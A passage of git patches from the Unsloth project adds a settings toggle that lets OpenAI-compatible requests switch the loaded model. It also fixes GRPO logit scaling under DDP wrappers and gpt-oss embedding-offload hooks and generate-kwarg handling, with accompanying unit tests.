autoSwitch: boolean, ): string { - return `$body = '${psSingle(winBody(model, variant))}' + return `${autoSwitch ? SWITCH_NOTE : ""}$body = '${psSingle(winBody(model, variant))}' Set-Content -Path body.json -Value $body -Encoding ascii curl.exe ${base}/v1/chat/completions \` -H "Authorization: Bearer ${key}" \` @@ -190,11 +209,29 @@ curl.exe ${base}/v1/chat/completions \` -d "@body.json"`; } +// A second OpenAI call naming a different downloaded GGUF: with auto-switch on, +// Studio loads it before serving, so the model field selects the served model. +function pythonSwitchDemo(): string { + return ` + +# "Switch model by request" is on: replace the model below with another GGUF you +# have downloaded and Studio loads it before serving. Unknown names keep serving +# the current model. +response = client.chat.completions.create( + model=${j(SWITCH_MODEL)}, + messages=[{"role": "user", "content": ${j(SWITCH_PROMPT)}}], + stream=True, +) +for chunk in response: + print(chunk.choices[0].delta.content or "", end="")`; +} + function pythonSnippet( base: string, key: string, model: string, variant: Variant, + autoSwitch: boolean, ): string { // Standard OpenAI args are named; Unsloth extensions go through extra_body. const named = @@ -241,7 +278,7 @@ response = client.chat.completions.create( messages=[{"role": "user", "content": ${j(PROMPT)}}],${named}${extraBody} stream=True, ) -${loop}`; +${loop}${autoSwitch ? pythonSwitchDemo() : ""}`; } function buildSnippets( @@ -249,15 +286,16 @@ function buildSnippets( key: string, model: string, os: Os, + autoSwitch: boolean, ): Record { const curl = os === "windows" ? curlWindows : curlUnix; return { - curl: curl(base, key, model, "plain"), - python: pythonSnippet(base, key, model, "plain"), - curlTools: curl(base, key, model, "tools"), - pythonTools: pythonSnippet(base, key, model, "tools"), - curlAdvanced: curl(base, key, model, "advanced"), - pythonAdvanced: pythonSnippet(base, key, model, "advanced"), + curl: curl(base, key, model, "plain", autoSwitch), + python: pythonSnippet(base, key, model, "plain", autoSwitch), + curlTools: curl(base, key, model, "tools", autoSwitch), + pythonTools: pythonSnippet(base, key, model, "tools", autoSwitch), + curlAdvanced: curl(base, key, model, "advanced", autoSwitch), + pythonAdvanced: pythonSnippet(base, key, model, "advanced", autoSwitch), }; } @@ -346,12 +384,31 @@ export function UsageExamples({ apiKey }: { apiKey?: string | null }) { const [copied, setCopied] = useState(false); const [copiedUrl, setCopiedUrl] = useState(false); const [useTunnel, setUseTunnel] = useState(readUseTunnelPref); + // null while loading; the same setting the General tab exposes (shared cache). + const [autoSwitch, setAutoSwitch] = useState( + null, + ); + const [savingAutoSwitch, setSavingAutoSwitch] = useState(false); // Tunnel may start after the first /api/health read; refresh so it surfaces here. useEffect(() => { void fetchDeviceType({ force: true }); }, []); + useEffect(() => { + let cancelled = false; + void loadOpenAIAutoSwitchSettings() + .then((s) => { + if (!cancelled) setAutoSwitch(s); + }) + .catch(() => { + // Best-effort: leave the toggle off if the setting can't be read. + }); + return () => { + cancelled = true; + }; + }, []); + const model = useLoadedModelName(); // Real key while revealed (before "Done"); otherwise a placeholder. const key = apiKey || KEY_PLACEHOLDER; @@ -361,9 +418,10 @@ export function UsageExamples({ apiKey }: { apiKey?: string | null }) { const base = useTunnel && cloudflareUrl ? cloudflareUrl : (serverUrl ?? origin); + const autoSwitchOn = autoSwitch?.enabled ?? false; const snippets = useMemo( - () => buildSnippets(base, key, model, os), - [base, key, model, os], + () => buildSnippets(base, key, model, os, autoSwitchOn), + [base, key, model, os, autoSwitchOn], ); const osAware = OS_AWARE[lang]; @@ -385,6 +443,20 @@ export function UsageExamples({ apiKey }: { apiKey?: string | null }) { writeUseTunnelPref(next); }; + // Same setting as the General tab; persist optimistically and revert on failure + // so the examples reflect the live model-switch behavior. + const handleToggleAutoSwitch = (next: boolean) => { + const idle = autoSwitch?.autoUnloadIdleSeconds ?? 0; + setAutoSwitch((prev) => (prev ? { ...prev, enabled: next } : prev)); + setSavingAutoSwitch(true); + void updateOpenAIAutoSwitchSettings(next, idle) + .then(setAutoSwitch) + .catch(() => { + setAutoSwitch((prev) => (prev ? { ...prev, enabled: !next } : prev)); + }) + .finally(() => setSavingAutoSwitch(false)); + }; + const handleCopyUrl = async () => { if (cloudflareUrl && (await copyToClipboard(cloudflareUrl))) { setCopiedUrl(true); @@ -398,6 +470,41 @@ export function UsageExamples({ apiKey }: { apiKey?: string | null }) { {t("settings.apiKeys.usageExamples")}
+ {/* Same setting as the General tab; surfaced here so the request `model` + actually switches the served model, which the examples below show. */} +
+
+ + + {t("settings.general.modelAutoSwitch.enable")} + + + + + + + {t("settings.general.modelAutoSwitch.enableDescription")} + + +
+
{cloudflareUrl ? (
@@ -412,9 +519,9 @@ export function UsageExamples({ apiKey }: { apiKey?: string | null }) { {/* Only when not launched with --secure: the raw 0.0.0.0 port is still globally reachable, so point the user at --secure. */} - {!secure ? ( + {secure ? null : ( - +
{/* Always rendered (dimmed when off) so toggling never changes the row height and shifts the code block below. */} diff --git a/studio/frontend/src/features/settings/tabs/general-tab.tsx b/studio/frontend/src/features/settings/tabs/general-tab.tsx index b3f26c808e..247d5040fb 100644 --- a/studio/frontend/src/features/settings/tabs/general-tab.tsx +++ b/studio/frontend/src/features/settings/tabs/general-tab.tsx @@ -48,6 +48,7 @@ import { updateUploadLimitSettings, } from "../api/upload-limit"; import { ChangePasswordDialog } from "../components/change-password-dialog"; +import { ModelAutoSwitchSection } from "../components/model-auto-switch-section"; import { SettingsRow } from "../components/settings-row"; import { SettingsSection } from "../components/settings-section"; import { StudioVersionSection } from "../components/studio-version-section"; @@ -528,6 +529,8 @@ export function GeneralTab() { + + diff --git a/studio/frontend/src/i18n/locales/en.ts b/studio/frontend/src/i18n/locales/en.ts index f3c9eef44e..27dda5193a 100644 --- a/studio/frontend/src/i18n/locales/en.ts +++ b/studio/frontend/src/i18n/locales/en.ts @@ -142,6 +142,22 @@ export const en = { loadError: "Failed to load Helper LLM settings.", saveError: "Failed to save Helper LLM settings.", }, + modelAutoSwitch: { + sectionTitle: "Model auto-switch (OpenAI API)", + enable: "Switch model by request", + enableDescription: + "When an OpenAI-compatible request names a different downloaded GGUF, load it before serving. Off by default; unknown names keep serving the loaded model.", + idleUnload: "Idle auto-unload", + idleUnloadDescription: + "Unload the model after this many idle seconds to free VRAM; the next request reloads it. 0 keeps it loaded.", + idleNeedsEnable: + "Turn on Switch model by request so an unloaded model reloads on next use.", + idleActiveViaEnv: + "Idle auto-unload is active via the UNSLOTH_MODEL_IDLE_TTL environment variable.", + loadError: "Failed to load model auto-switch settings.", + saveError: "Failed to save model auto-switch settings.", + idleError: "Enter a whole number of seconds (0 or more).", + }, previewSharing: { sectionTitle: "Preview sharing", enableLabel: "Public preview links", From c5adb69a107913e7e2b2bc5f432d40dd3d70d0ec Mon Sep 17 00:00:00 2001 From: Filip Trajkovic Date: Thu, 2 Jul 2026 05:01:15 +0200 Subject: [PATCH 06/27] Fix GRPO logit scaling when model is wrapped by DDP (#5955) --------- Co-authored-by: oobabooga <112222186+oobabooga@users.noreply.github.com> --- tests/python/test_grpo_ddp_model_config.py | 31 ++++++++++++++++++++++ unsloth/models/rl_replacements.py | 28 ++++++++++++++----- 2 files changed, 52 insertions(+), 7 deletions(-) create mode 100644 tests/python/test_grpo_ddp_model_config.py diff --git a/tests/python/test_grpo_ddp_model_config.py b/tests/python/test_grpo_ddp_model_config.py new file mode 100644 index 0000000000..5af31f65b8 --- /dev/null +++ b/tests/python/test_grpo_ddp_model_config.py @@ -0,0 +1,31 @@ +"""GRPO logit-scaling helpers must read config through DDP wrappers.""" + +from __future__ import annotations + +import os + +REPO_ROOT = os.path.abspath(os.path.join(os.path.dirname(__file__), os.pardir, os.pardir)) +SOURCE_PATH = os.path.join(REPO_ROOT, "unsloth", "models", "rl_replacements.py") + + +def _read_source() -> str: + with open(SOURCE_PATH, "r") as fh: + return fh.read() + + +def test_grpo_logit_scaling_uses_model_config_helper(): + src = _read_source() + # Helper exists and unwraps DDP/Accelerate wrappers via `.module`. + assert "def _unsloth_get_model_config(model):" in src + assert 'getattr(model.module, "config", None)' in src + # Softcapping takes the model and tolerates a missing config. + assert "logit_softcapping = _unsloth_get_final_logit_softcapping(model)" in src + assert "if config is None:" in src.split("def _unsloth_get_final_logit_softcapping")[1] + # Logit scale/divide read through the unwrapped config, not bare model.config. + assert 'getattr(model_config, "logit_scale", 0)' in src + assert 'getattr(model_config, "logits_scaling", 0)' in src + assert src.count("model_config = _unsloth_get_model_config(model)") >= 2 + # Helper source is injected into the compiled GRPO trainer. + assert "inspect.getsource(_unsloth_get_model_config)" in src + # No direct model.config access remains in the RL logit path. + assert "model.config" not in src diff --git a/unsloth/models/rl_replacements.py b/unsloth/models/rl_replacements.py index 61a07b686d..d3ada23cf9 100644 --- a/unsloth/models/rl_replacements.py +++ b/unsloth/models/rl_replacements.py @@ -1337,11 +1337,12 @@ def grpo_trainer__get_per_token_logps_and_entropies(function_name, function): image_sizes_chunks.append(slice_sample_axis(image_sizes, start, end)) temperature = self.temperature - logit_softcapping = _unsloth_get_final_logit_softcapping(model.config) - logit_scale_multiply = getattr(model.config, "logit_scale", 0) + model_config = _unsloth_get_model_config(model) + logit_softcapping = _unsloth_get_final_logit_softcapping(model) + logit_scale_multiply = getattr(model_config, "logit_scale", 0) if logit_scale_multiply is None: logit_scale_multiply = 0 - logit_scale_divide = getattr(model.config, "logits_scaling", 0) + logit_scale_divide = getattr(model_config, "logits_scaling", 0) if logit_scale_divide is None: logit_scale_divide = 0 @@ -1471,7 +1472,15 @@ def grpo_trainer__get_per_token_logps_and_entropies(function_name, function): RL_FUNCTIONS["grpo_trainer"].append(grpo_trainer__get_per_token_logps_and_entropies) -def _unsloth_get_final_logit_softcapping(config): +def _unsloth_get_model_config(model): + """Return HuggingFace model config, unwrapping DDP/Accelerate wrappers.""" + config = getattr(model, "config", None) + if config is None and hasattr(model, "module"): + config = getattr(model.module, "config", None) + return config + + +def _unsloth_get_final_logit_softcapping(model): """Return final_logit_softcapping for a model config, falling back to the nested text sub-config for composite models. Handles both: - Gemma-4-style configs where the attribute lives on ``config.text_config`` @@ -1479,6 +1488,9 @@ def _unsloth_get_final_logit_softcapping(config): reachable via ``config.get_text_config()`` Returns 0 if unset, matching the previous behaviour. """ + config = _unsloth_get_model_config(model) + if config is None: + return 0 softcap = getattr(config, "final_logit_softcapping", None) if softcap is None: text_cfg = getattr(config, "text_config", None) @@ -1499,6 +1511,7 @@ grpo_compute_loss_slow = RL_REPLACEMENTS["grpo_compute_loss_slow"] UnslothEfficientGRPO = RL_REPLACEMENTS["UnslothEfficientGRPO"] grpo_accumulated_loss = RL_REPLACEMENTS["grpo_accumulated_loss"] grpo_update_SamplingParams = RL_REPLACEMENTS["grpo_update_SamplingParams"] +RL_PRE_ITEMS["grpo_trainer"].append(inspect.getsource(_unsloth_get_model_config)) RL_PRE_ITEMS["grpo_trainer"].append(inspect.getsource(_unsloth_get_final_logit_softcapping)) RL_PRE_ITEMS["grpo_trainer"].append(inspect.getsource(_unsloth_get_mm_token_id)) RL_PRE_ITEMS["grpo_trainer"].append(inspect.getsource(_unsloth_fix_mm_token_type_ids)) @@ -1616,11 +1629,12 @@ def grpo_trainer_compute_loss(function_name, function): input_ids = input_ids[:, -logits_to_keep:] # Get logit softcapping and logit scale - logit_softcapping = _unsloth_get_final_logit_softcapping(model.config) # Gemma - logit_scale_multiply = getattr(model.config, "logit_scale", 0) # Cohere + model_config = _unsloth_get_model_config(model) + logit_softcapping = _unsloth_get_final_logit_softcapping(model) # Gemma + logit_scale_multiply = getattr(model_config, "logit_scale", 0) # Cohere if logit_scale_multiply is None: logit_scale_multiply = 0 - logit_scale_divide = getattr(model.config, "logits_scaling", 0) # Granite + logit_scale_divide = getattr(model_config, "logits_scaling", 0) # Granite if logit_scale_divide is None: logit_scale_divide = 0 From d91183d03feca2539a946354ca4fdbb4928e273c Mon Sep 17 00:00:00 2001 From: Daniel Han Date: Wed, 1 Jul 2026 22:39:00 -0700 Subject: [PATCH 07/27] Fix gpt-oss offload_embedding and generate() kwargs, and guard offload_embedding on tied/vLLM models (#6774) * Fix gpt-oss offload_embedding and generate() logits_to_keep on fused models offload_embedding=True moved embed_tokens to CPU but left the input/output device-shuffling forward hooks commented out ('[TODO] Doesn't seem to work!'), so an eager forward/generate with CUDA input_ids hit the CPU embedding and raised a device-mismatch RuntimeError. Re-implement them in a testable helper _install_offload_embedding_hooks that saves the origin device on the module (the pre-hook returns a new tensor, so a device stashed on the original input is lost) and runs the lookup on the embedding weight's CURRENT device. Reading the weight device at call time (not a hard-coded cpu) also handles a non-quantized (bf16) embedding that a later model.to(...) pulls back onto the GPU, which the hard-coded version broke in the opposite direction. unsloth_base_fast_generate injected logits_to_keep/num_logits_to_keep whenever an inner submodule forward accepted it, but transformers validates generate kwargs against the top-level prepare_inputs_for_generation (plus forward when it takes kwargs). On fused/PEFT-wrapped gpt-oss this raised 'model_kwargs are not used by the model: [logits_to_keep]'. Only inject when the top level would accept it, mirroring transformers _validate_model_kwargs. Behavior is unchanged for every model that works today. Adds tests/test_offload_embedding_hooks.py and tests/test_generate_kwarg_gate.py. * [pre-commit.ci] auto fixes from pre-commit.com hooks for more information, see https://pre-commit.ci * gpt-oss offload hooks: store origin device on the tensor, not the shared module The pre-hook stashed the input device on embed_tokens itself, which races when concurrent forwards share the module (serving). Ride it on the moved tensor and read it from the post-hook args instead: stateless and thread-safe. * Also strip mm_token_type_ids that generate() rejects (Qwen3-VL vision GRPO) The vision processor (Transformers 5.x path) emits mm_token_type_ids, which Qwen3-VL's generate() then rejects in _validate_model_kwargs on transformers 4.x, so vision GRPO fails at the first rollout: ValueError: The following `model_kwargs` are not used by the model: ['mm_token_type_ids'] Unlike logits_to_keep this is an incoming kwarg rather than one we inject, so drop it in unsloth_base_fast_generate when the top level generate does not accept it, reusing the same _unsloth_generate_accepts_kwarg gate. Extends the GPU-free gate test with the accept/reject mm_token_type_ids cases (7/7 pass). * [pre-commit.ci] auto fixes from pre-commit.com hooks for more information, see https://pre-commit.ci * Trim mm_token_type_ids comment * Trim comments in gpt-oss offload/logits fix (comment-only) * gpt-oss offload: return embedding output to the decoder device, not the input's When offload_embedding moves the embedding to CPU, model.device can become CPU and inputs then arrive on CPU, so returning the output to the input device left it on CPU and the CUDA decoder hit a device mismatch. Capture the decoder device before offload and always return there. This also drops the per-request tensor state (stateless, so concurrent forwards stay correct). * [pre-commit.ci] auto fixes from pre-commit.com hooks for more information, see https://pre-commit.ci * gpt-oss offload: refuse offload_embedding for tied word embeddings Tied models share embed_tokens.weight with lm_head, so offloading the weight to CPU strands the output projection there (device mismatch at generate) and saves no VRAM since lm_head still needs it on GPU. Detect the shared weight via get_output_embeddings and raise NotImplementedError instead of loading into a crash. Untied models (gpt-oss, Llama-3.1-8B) offload unchanged. Adds tests/test_offload_tied_guard.py. * [pre-commit.ci] auto fixes from pre-commit.com hooks for more information, see https://pre-commit.ci * gpt-oss offload: skip embedding offload on fast_inference (vLLM) vLLM manages its own weights, so offload_embedding cannot apply on the fast_inference path (previously it was silently ignored). Disable it with a notice, mirroring the WSL and Windows skips. * Trim offload embedding comments (comment-only) * [pre-commit.ci] auto fixes from pre-commit.com hooks for more information, see https://pre-commit.ci * gpt-oss offload: track decoder device live so it survives model.to() The post-hook returned the embedding output to a device captured at load time. If a model is loaded on CPU then moved with model.to(cuda), that device is stale and the output lands on the wrong device. Read the decoder device live from the (untied) output embeddings, keeping the captured device as a fallback. Adds a stale-fallback regression test. * Make generate-kwarg-gate cases pytest-collectable Cases lived in run(), which pytest does not collect, so CI never exercised the gate. Expose them as test_generate_kwarg_gate; still runnable via __main__. * [pre-commit.ci] auto fixes from pre-commit.com hooks for more information, see https://pre-commit.ci * gpt-oss offload: skip a meta (disk-offloaded) lm_head as the return device A device_map that disk-offloads an untied lm_head leaves its weight on the meta device until that module's own hook runs, so reading it as the decoder device would move real hidden states to meta. Skip meta (and a missing weight) and fall back to the captured device. Adds a regression test. --------- Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com> --- tests/test_generate_kwarg_gate.py | 137 ++++++++++++++++++++++++++ tests/test_offload_embedding_hooks.py | 129 ++++++++++++++++++++++++ tests/test_offload_tied_guard.py | 62 ++++++++++++ unsloth/models/vision.py | 105 +++++++++++++++++--- 4 files changed, 422 insertions(+), 11 deletions(-) create mode 100644 tests/test_generate_kwarg_gate.py create mode 100644 tests/test_offload_embedding_hooks.py create mode 100644 tests/test_offload_tied_guard.py diff --git a/tests/test_generate_kwarg_gate.py b/tests/test_generate_kwarg_gate.py new file mode 100644 index 0000000000..6d1379d3a9 --- /dev/null +++ b/tests/test_generate_kwarg_gate.py @@ -0,0 +1,137 @@ +"""GPU-free test for the generate-kwarg gate in vision.py +(_unsloth_generate_accepts_kwarg), covering both logits_to_keep injection and mm_token_type_ids +stripping, AST-extracted so no unsloth/CUDA import is needed.""" + +import ast, inspect, os + +HERE = os.path.dirname(os.path.dirname(os.path.abspath(__file__))) +VISION = os.path.join(HERE, "unsloth", "models", "vision.py") + + +def _load_helper(): + src = open(VISION).read() + mod = ast.parse(src) + for node in mod.body: + if isinstance(node, ast.FunctionDef) and node.name == "_unsloth_generate_accepts_kwarg": + ns = {"inspect": inspect} + exec(ast.get_source_segment(src, node), ns) + return ns["_unsloth_generate_accepts_kwarg"] + raise AssertionError("_unsloth_generate_accepts_kwarg not found in vision.py") + + +accepts = _load_helper() + + +class PrepHasKwargs_ForwardHasKey: + # **kwargs on prepare unions forward params; key in forward -> ACCEPTED. + def prepare_inputs_for_generation(self, input_ids, **kwargs): ... + def forward( + self, + input_ids, + logits_to_keep = 0, + **kwargs, + ): ... + + +class PrepNoKwargs_ForwardHasKey: + # no **kwargs -> forward not unioned; key only in forward -> REJECTED (gpt-oss shape). + def prepare_inputs_for_generation( + self, + input_ids, + attention_mask = None, + ): ... + def forward( + self, + input_ids, + logits_to_keep = 0, + ): ... + + +class PrepHasKeyDirectly: + # key directly on prepare -> ACCEPTED. + def prepare_inputs_for_generation( + self, + input_ids, + logits_to_keep = 0, + ): ... + def forward(self, input_ids): ... + + +class NoPrepare: + # no prepare -> empty args, no union -> REJECTED. + def forward( + self, + input_ids, + logits_to_keep = 0, + **kwargs, + ): ... + + +class VisionRejectsMM: + # Qwen3-VL shape: neither prepare nor forward names mm_token_type_ids -> REJECTED (stripped). + def prepare_inputs_for_generation( + self, + input_ids, + attention_mask = None, + ): ... + def forward( + self, + input_ids, + pixel_values = None, + ): ... + + +class VisionAcceptsMM: + # forward names mm_token_type_ids and prepare unions it via **kwargs -> ACCEPTED (kept). + def prepare_inputs_for_generation(self, input_ids, **kwargs): ... + def forward( + self, + input_ids, + mm_token_type_ids = None, + **kwargs, + ): ... + + +# (model, key, expected) per gate case. +CASES = [ + ( + "prep(**kwargs)+forward(key) -> accept", + PrepHasKwargs_ForwardHasKey(), + "logits_to_keep", + True, + ), + ( + "prep(no kwargs)+forward(key) -> reject", + PrepNoKwargs_ForwardHasKey(), + "logits_to_keep", + False, + ), + ("prep(key) direct -> accept", PrepHasKeyDirectly(), "logits_to_keep", True), + ("no prepare_inputs_for_gen -> reject", NoPrepare(), "logits_to_keep", False), + ( + "num_logits_to_keep variant -> reject", + PrepNoKwargs_ForwardHasKey(), + "num_logits_to_keep", + False, + ), + ( + "mm_token_type_ids not accepted -> reject (strip)", + VisionRejectsMM(), + "mm_token_type_ids", + False, + ), + ("mm_token_type_ids accepted -> keep", VisionAcceptsMM(), "mm_token_type_ids", True), +] + + +def test_generate_kwarg_gate(): + for name, model, key, expected in CASES: + got = accepts(model, key) + assert got is expected, f"{name}: got {got}, expected {expected}" + + +if __name__ == "__main__": + test_generate_kwarg_gate() + for name, _, _, _ in CASES: + print(f" [PASS] {name}") + print("OK: generate-kwarg gate behaves like transformers _validate_model_kwargs") diff --git a/tests/test_offload_embedding_hooks.py b/tests/test_offload_embedding_hooks.py new file mode 100644 index 0000000000..b8be603b2a --- /dev/null +++ b/tests/test_offload_embedding_hooks.py @@ -0,0 +1,129 @@ +"""Tests _install_offload_embedding_hooks in vision.py: the offloaded lookup must work and +its output must land on the decoder device, read live from the output embeddings (lm_head) +so it tracks model.to() moves. CUDA cases skip without a GPU.""" + +import ast, os +import torch +import torch.nn as nn + +HERE = os.path.dirname(os.path.dirname(os.path.abspath(__file__))) +VISION = os.path.join(HERE, "unsloth", "models", "vision.py") + + +def _load_installer(): + src = open(VISION).read() + mod = ast.parse(src) + for node in mod.body: + if isinstance(node, ast.FunctionDef) and node.name == "_install_offload_embedding_hooks": + ns = {"torch": torch} + exec(ast.get_source_segment(src, node), ns) + return ns["_install_offload_embedding_hooks"] + raise AssertionError("_install_offload_embedding_hooks not found in vision.py") + + +install = _load_installer() +CPU = torch.device("cpu") + + +def _emb(): + return nn.Embedding(32, 8) + + +def _lm_head(device): + # Stand-in decoder reference (untied lm_head) whose weight device is the target. + return nn.Linear(8, 32, bias = False).to(device) + + +def test_install_and_idempotent(): + emb = _emb() + lm = _lm_head(CPU) + assert install(emb, lm, CPU) is True + assert emb._unsloth_offload_hooks_installed is True + n_pre = len(emb._forward_pre_hooks) + n_post = len(emb._forward_hooks) + assert install(emb, lm, CPU) is True + assert len(emb._forward_pre_hooks) == n_pre and len(emb._forward_hooks) == n_post + assert install(None, lm, CPU) is False + + +def test_cpu_noop_forward(): + # cpu weight + cpu decoder + cpu input -> output stays cpu. + emb = _emb() + install(emb, _lm_head(CPU), CPU) + out = emb(torch.randint(0, 32, (2, 5))) + assert out.shape == (2, 5, 8) + assert out.device.type == "cpu" + + +def test_cuda_input_roundtrip(): + if not torch.cuda.is_available(): + print("[SKIP] CUDA not available") + return + # CPU weight, CUDA decoder + input -> lookup on cpu, output back on cuda. + emb = _emb().to("cpu") + install(emb, _lm_head("cuda"), torch.device("cuda")) + out = emb(torch.randint(0, 32, (2, 5), device = "cuda")) + assert out.device.type == "cuda", out.device + + +def test_cpu_input_still_returns_to_decoder(): + if not torch.cuda.is_available(): + print("[SKIP] CUDA not available") + return + # P1: offload makes the input arrive on cpu; the output must still reach the cuda decoder. + emb = _emb().to("cpu") + install(emb, _lm_head("cuda"), torch.device("cuda")) + out = emb(torch.randint(0, 32, (2, 5), device = "cpu")) + assert out.device.type == "cuda", out.device + + +def test_live_decoder_over_stale_fallback(): + if not torch.cuda.is_available(): + print("[SKIP] CUDA not available") + return + # P2: fallback captured as cpu (model loaded on cpu), but the decoder later lives on cuda. + # The output must follow the live lm_head device, not the stale cpu fallback. + emb = _emb().to("cpu") + install(emb, _lm_head("cuda"), CPU) + out = emb(torch.randint(0, 32, (2, 5), device = "cuda")) + assert out.device.type == "cuda", out.device + + +def test_meta_lm_head_falls_back(): + # A disk-offloaded (meta) lm_head must not be used as the return device: moving hidden + # states to meta is unrecoverable, so fall back to the captured device. No GPU needed. + emb = _emb().to("cpu") + lm = _lm_head(CPU) + lm.weight = nn.Parameter(lm.weight.to("meta")) + install(emb, lm, CPU) + out = emb(torch.randint(0, 32, (2, 5))) + assert out.device.type == "cpu", out.device + + +def test_cuda_weight_pulled_back_to_gpu(): + if not torch.cuda.is_available(): + print("[SKIP] CUDA not available") + return + # bf16 weight later pulled back to gpu + cuda input -> no-op, stays on cuda. + emb = _emb().to("cuda") + install(emb, _lm_head("cuda"), torch.device("cuda")) + out = emb(torch.randint(0, 32, (2, 5), device = "cuda")) + assert out.device.type == "cuda", out.device + + +if __name__ == "__main__": + test_install_and_idempotent() + print("[PASS] install + idempotent") + test_cpu_noop_forward() + print("[PASS] cpu no-op forward") + test_cuda_input_roundtrip() + print("[PASS] cuda input roundtrip") + test_cpu_input_still_returns_to_decoder() + print("[PASS] cpu input still returns to cuda decoder (P1)") + test_live_decoder_over_stale_fallback() + print("[PASS] live decoder device beats stale fallback (P2)") + test_meta_lm_head_falls_back() + print("[PASS] meta lm_head falls back to captured device (P2)") + test_cuda_weight_pulled_back_to_gpu() + print("[PASS] cuda weight-on-gpu no-op") + print("OK: offloaded embedding output always lands on the live decoder device") diff --git a/tests/test_offload_tied_guard.py b/tests/test_offload_tied_guard.py new file mode 100644 index 0000000000..096fba116d --- /dev/null +++ b/tests/test_offload_tied_guard.py @@ -0,0 +1,62 @@ +"""Tests _embeddings_are_tied in vision.py: offload_embedding must detect a shared +embed_tokens/lm_head weight so the loader can refuse to offload tied embeddings +(offloading would strand the output projection on CPU). No GPU needed.""" + +import ast, os +import torch +import torch.nn as nn + +HERE = os.path.dirname(os.path.dirname(os.path.abspath(__file__))) +VISION = os.path.join(HERE, "unsloth", "models", "vision.py") + + +def _load_fn(): + src = open(VISION).read() + mod = ast.parse(src) + for node in mod.body: + if isinstance(node, ast.FunctionDef) and node.name == "_embeddings_are_tied": + ns = {"torch": torch} + exec(ast.get_source_segment(src, node), ns) + return ns["_embeddings_are_tied"] + raise AssertionError("_embeddings_are_tied not found in vision.py") + + +tied = _load_fn() + + +def test_untied_separate_weights(): + emb = nn.Embedding(32, 8) + lm = nn.Linear(8, 32, bias = False) + assert tied(emb, lm) is False + + +def test_tied_shared_parameter(): + emb = nn.Embedding(32, 8) + lm = nn.Linear(8, 32, bias = False) + lm.weight = emb.weight # transformers-style weight tying + assert tied(emb, lm) is True + + +def test_tied_by_storage_even_if_distinct_parameter(): + emb = nn.Embedding(32, 8) + lm = nn.Linear(8, 32, bias = False) + lm.weight = nn.Parameter(emb.weight.detach()) # distinct Parameter, shared storage + assert tied(emb, lm) is True + + +def test_none_output_is_untied(): + emb = nn.Embedding(32, 8) + assert tied(emb, None) is False + assert tied(None, nn.Linear(8, 32)) is False + + +if __name__ == "__main__": + test_untied_separate_weights() + print("[PASS] untied separate weights -> False") + test_tied_shared_parameter() + print("[PASS] tied shared parameter -> True") + test_tied_by_storage_even_if_distinct_parameter() + print("[PASS] tied by storage -> True") + test_none_output_is_untied() + print("[PASS] missing lm_head -> untied (safe to offload)") + print("OK: tied embeddings are detected so offload_embedding can refuse them") diff --git a/unsloth/models/vision.py b/unsloth/models/vision.py index bdc2bd9ef6..5ab55152db 100644 --- a/unsloth/models/vision.py +++ b/unsloth/models/vision.py @@ -238,6 +238,71 @@ def _attach_bnb_multidevice_hooks( global NUM_LOGITS_TO_KEEP NUM_LOGITS_TO_KEEP = dict() + +def _unsloth_generate_accepts_kwarg(model, key): + # True if the top level accepts this generate kwarg (some models expose it on an inner forward only). + try: + model_args = set(inspect.signature(model.prepare_inputs_for_generation).parameters) + except (TypeError, ValueError, AttributeError): + model_args = set() + if "kwargs" in model_args or "model_kwargs" in model_args: + try: + model_args |= set(inspect.signature(model.forward).parameters) + except (TypeError, ValueError, AttributeError): + pass + return key in model_args + + +def _install_offload_embedding_hooks(embed_tokens, output_embeddings, return_device): + # Lookup runs on the weight's current device (CPU when offloaded); the output returns to the + # decoder device read live from output_embeddings (lm_head, untied here) so it tracks + # model.to() moves. A meta (disk-offloaded) or missing lm_head falls back to return_device. + if embed_tokens is None: + return False + if getattr(embed_tokens, "_unsloth_offload_hooks_installed", False): + return True + + def _decoder_device(): + weight = getattr(output_embeddings, "weight", None) + if weight is not None and weight.device.type != "meta": + return weight.device + return return_device + + def _unsloth_offload_pre_hook(module, args): + if not args: + return args + inp = args[0] + if not hasattr(inp, "device"): + return args + weight = getattr(module, "weight", None) + target = weight.device if weight is not None else _decoder_device() + if target is None or inp.device == target: + return args + return (inp.to(target),) + tuple(args[1:]) + + def _unsloth_offload_post_hook(module, args, output): + target = _decoder_device() + if target is not None and hasattr(output, "device") and output.device != target: + return output.to(target) + return output + + embed_tokens.register_forward_pre_hook(_unsloth_offload_pre_hook, prepend = True) + embed_tokens.register_forward_hook(_unsloth_offload_post_hook, prepend = True) + embed_tokens._unsloth_offload_hooks_installed = True + return True + + +def _embeddings_are_tied(input_embeddings, output_embeddings): + # Tied lm_head reuses this weight; offloading to CPU would strand the output projection. + if input_embeddings is None or output_embeddings is None: + return False + w_in = getattr(input_embeddings, "weight", None) + w_out = getattr(output_embeddings, "weight", None) + if w_in is None or w_out is None: + return False + return w_in is w_out or w_in.data_ptr() == w_out.data_ptr() + + VLLM_SUPPORTED_VLM = [ "qwen2_5_vl", "gemma3", @@ -321,6 +386,13 @@ def unsloth_base_fast_generate(self, *args, **kwargs): kwargs.pop("token_type_ids", None) # kwargs.pop("token_type_ids", None) + # Vision processors emit mm_token_type_ids that generate() rejects (Qwen3-VL); unlike + # logits_to_keep it is an incoming kwarg, so drop it when generate does not accept it. + if "mm_token_type_ids" in kwargs and not _unsloth_generate_accepts_kwarg( + self, "mm_token_type_ids" + ): + kwargs.pop("mm_token_type_ids", None) + # VLMs do not allow logits_to_keep global NUM_LOGITS_TO_KEEP if arch not in NUM_LOGITS_TO_KEEP: @@ -339,7 +411,7 @@ def unsloth_base_fast_generate(self, *args, **kwargs): if arch not in NUM_LOGITS_TO_KEEP: NUM_LOGITS_TO_KEEP[arch] = None key = NUM_LOGITS_TO_KEEP[arch] - if key is not None and key not in kwargs: + if key is not None and key not in kwargs and _unsloth_generate_accepts_kwarg(self, key): kwargs[key] = 1 model_eos_token_id = getattr(self.config, "eos_token_id", None) @@ -1024,6 +1096,12 @@ class FastBaseModel: raise_handler = RaiseUninitialized() try: + if offload_embedding and fast_inference: + # vLLM manages its own weights; embedding offload does not apply. + print( + "Unsloth: Not offloading embeddings; incompatible with fast_inference (vLLM)." + ) + offload_embedding = False if not fast_inference: # Prevent load_in_fp8 from being forwarded into HF internal model loading load_in_fp8 = kwargs.pop("load_in_fp8", None) @@ -1070,21 +1148,26 @@ class FastBaseModel: pass else: embed_tokens = model.get_input_embeddings() + out_embed = ( + model.get_output_embeddings() + if hasattr(model, "get_output_embeddings") + else None + ) + if _embeddings_are_tied(embed_tokens, out_embed): + raise NotImplementedError( + "offload_embedding = True is not supported for models with tied word " + "embeddings (embed_tokens shares its weight with 